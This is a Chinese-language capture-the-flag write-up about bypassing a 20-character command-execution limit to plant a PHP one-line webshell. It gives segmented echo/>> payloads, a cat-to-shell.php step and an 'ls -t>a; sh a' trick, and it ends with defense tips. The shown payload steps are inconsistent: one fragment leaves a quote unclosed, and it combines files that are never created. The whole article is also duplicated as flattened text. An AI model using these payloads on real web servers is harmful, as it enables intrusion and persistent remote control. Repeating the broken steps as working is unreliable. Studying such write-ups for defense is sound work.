某入群题之命令执行字符限制绕过(WEB100)
字数 871 2025-08-18 11:37:24

命令执行字符限制绕过技术详解

题目背景

这是一道Web安全题目,主要考察在命令执行场景下如何绕过字符长度限制(本题限制为20个字符)。题目环境限制了直接使用bash、python等弹shell的方式。

关键知识点

1. 目录信息获取

  • 使用ls命令查看当前目录内容
  • 使用pwd命令获取当前工作目录路径
    ?cmd=pwd> ../1.txt  # 将结果输出到上级目录的1.txt文件
    

2. 使用>>追加命令写shell

>>命令可以将内容追加到文件末尾,利用这个特性可以分段写入shell代码:

  • 使用括号和换行符拼接命令
  • 写入PHP一句话木马时注意:
    • 使用单引号避免转义问题
    • 连接密码建议使用数字,可以省略单引号

3. 反斜杠\拼接命令(本题被过滤)

正常情况下,反斜杠可以:

  • 转义特殊字符
  • 在命令末尾用于拼接下一行命令

示例:

?cmd=l\  # 尝试拼接ls命令
?cmd=s >1.txt

但本题中反斜杠被过滤,此方法失效。

4. 使用ls -t按时间排序写马

ls -t可以按时间顺序排列文件,利用这个特性可以:

  1. 创建多个小文件片段
  2. 按正确顺序组合成有效payload

详细绕过技术

分段写入技术

  1. 分块写入

    • 将payload分成多个小段
    • 使用>>追加写入文件
  2. PHP一句话木马写入示例

    # 第一段
    ?cmd=echo '<?php ev>a
    
    # 第二段
    ?cmd=al($_POST[1]);?>'>>a
    
  3. 组合执行

    • 先写入临时文件
    • 使用cat命令组合文件内容
    ?cmd=cat a b c>shell.php
    

时间排序技术

  1. 创建多个文件片段,确保按ls -t排序时能正确组合
  2. 使用通配符和重定向组合文件
    ?cmd=ls -t>a
    ?cmd=sh a
    

注意事项

  1. 引号使用:

    • 单引号保持字符串原样
    • 双引号会进行变量替换和转义处理
  2. 特殊字符处理:

    • $需要转义:\$
    • 空格和换行符需要特别注意
  3. 环境限制:

    • 某些字符可能被过滤(如本题中的反斜杠)
    • 需要根据实际环境调整payload

防御建议

  1. 严格过滤所有命令执行相关特殊字符
  2. 限制命令长度不仅要在前端,更要在后端验证
  3. 使用白名单而非黑名单过滤
  4. 禁用不必要的命令执行功能

扩展思考

  1. 更短字符限制下的绕过(如7个字符)
  2. 无回显情况下的利用
  3. 结合其他漏洞如文件包含实现更复杂的攻击链

通过以上技术,可以在严格的字符限制下实现命令执行和webshell写入,实际渗透测试中需要根据目标环境灵活调整payload。

命令执行字符限制绕过技术详解 题目背景 这是一道Web安全题目,主要考察在命令执行场景下如何绕过字符长度限制(本题限制为20个字符)。题目环境限制了直接使用bash、python等弹shell的方式。 关键知识点 1. 目录信息获取 使用 ls 命令查看当前目录内容 使用 pwd 命令获取当前工作目录路径 2. 使用 >> 追加命令写shell >> 命令可以将内容追加到文件末尾,利用这个特性可以分段写入shell代码: 使用括号和换行符拼接命令 写入PHP一句话木马时注意: 使用单引号避免转义问题 连接密码建议使用数字,可以省略单引号 3. 反斜杠 \ 拼接命令(本题被过滤) 正常情况下,反斜杠可以: 转义特殊字符 在命令末尾用于拼接下一行命令 示例: 但本题中反斜杠被过滤,此方法失效。 4. 使用 ls -t 按时间排序写马 ls -t 可以按时间顺序排列文件,利用这个特性可以: 创建多个小文件片段 按正确顺序组合成有效payload 详细绕过技术 分段写入技术 分块写入 : 将payload分成多个小段 使用 >> 追加写入文件 PHP一句话木马写入示例 : 组合执行 : 先写入临时文件 使用 cat 命令组合文件内容 时间排序技术 创建多个文件片段,确保按 ls -t 排序时能正确组合 使用通配符和重定向组合文件 注意事项 引号使用: 单引号保持字符串原样 双引号会进行变量替换和转义处理 特殊字符处理: $ 需要转义: \$ 空格和换行符需要特别注意 环境限制: 某些字符可能被过滤(如本题中的反斜杠) 需要根据实际环境调整payload 防御建议 严格过滤所有命令执行相关特殊字符 限制命令长度不仅要在前端,更要在后端验证 使用白名单而非黑名单过滤 禁用不必要的命令执行功能 扩展思考 更短字符限制下的绕过(如7个字符) 无回显情况下的利用 结合其他漏洞如文件包含实现更复杂的攻击链 通过以上技术,可以在严格的字符限制下实现命令执行和webshell写入,实际渗透测试中需要根据目标环境灵活调整payload。